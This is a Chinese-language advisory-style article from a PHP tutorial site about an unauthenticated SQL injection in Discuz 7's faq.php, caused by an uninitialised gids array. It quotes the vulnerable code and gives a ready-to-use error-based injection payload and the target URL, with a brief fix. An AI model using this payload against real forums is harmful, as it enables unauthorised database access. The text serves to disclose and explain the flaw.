网站地图    收藏   

主页 > 后端 > 网站安全 >

Discuz7存在一处SQL注射漏洞(无需登录即可触发)

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] Disucz7 SQL注射漏洞。在faq php中使用的gids变量未被初始化。在180行有一句排序的代码:ksort($gids);而后的代码是:foreach($gids as $row) { $groupids[] = $row[0];}$groupids[] = $row[0];这里取了...

Disucz7 SQL注射漏洞

在faq.php中使用的gids变量未被初始化。




在180行有一句排序的代码:
 

ksort($gids);





而后的代码是:


 

foreach($gids as $row) {
 $groupids[] = $row[0];
}





$groupids[] = $row[0];

这里取了foreach后的row数组的key 0。



如果row是字符串的话,取的则是row的第一位。



那么


 

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");





会导致一个SQL注射漏洞。



POST:
 

gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#





到http://domain/faq.php?action=grouppermission就可以触发SQL注射了。



当然,GET也可以。
 


漏洞有些小细节:



例如
 

gids[99]='&gids[100][0]=注射语句。





为了让ksort后我们的注射语句能注射,那么注射语句的key一定要比破坏单引号的那个\的key大一点。



所以gids的第一个是99,第二个是100.



另外,为了让单引号能被破坏掉,第一个的gids[99]是个字符串而不是数组,而gids[100]则必须得是数组。


 

dz72.JPG






 

修复方案:

初始化gids。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论